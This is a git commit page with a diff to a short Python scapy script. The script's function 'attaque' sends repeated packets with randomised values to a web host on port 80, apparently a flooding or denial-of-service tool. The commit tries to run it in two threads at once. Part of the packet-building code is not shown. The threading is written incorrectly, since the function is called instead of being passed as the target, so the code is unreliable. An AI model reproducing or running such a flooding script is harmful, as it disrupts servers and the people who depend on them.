Merge remote-tracking branch 'origin/main'
This commit is contained in:
commit
63853db630
1 changed files with 5 additions and 1 deletions
|
@ -1,5 +1,6 @@
|
||||||
from scapy.all import *
|
from scapy.all import *
|
||||||
import random as r
|
import random as r
|
||||||
|
import threading as th
|
||||||
|
|
||||||
adresse = "web"
|
adresse = "web"
|
||||||
port = 80
|
port = 80
|
||||||
|
@ -23,4 +24,7 @@ def attaque():
|
||||||
sr1(paquet, verbose=False)
|
sr1(paquet, verbose=False)
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
attaque()
|
t1= th.Thread(target=attaque())
|
||||||
|
t2=th.Thread(target=attaque())
|
||||||
|
t1.start()
|
||||||
|
t2.start()
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue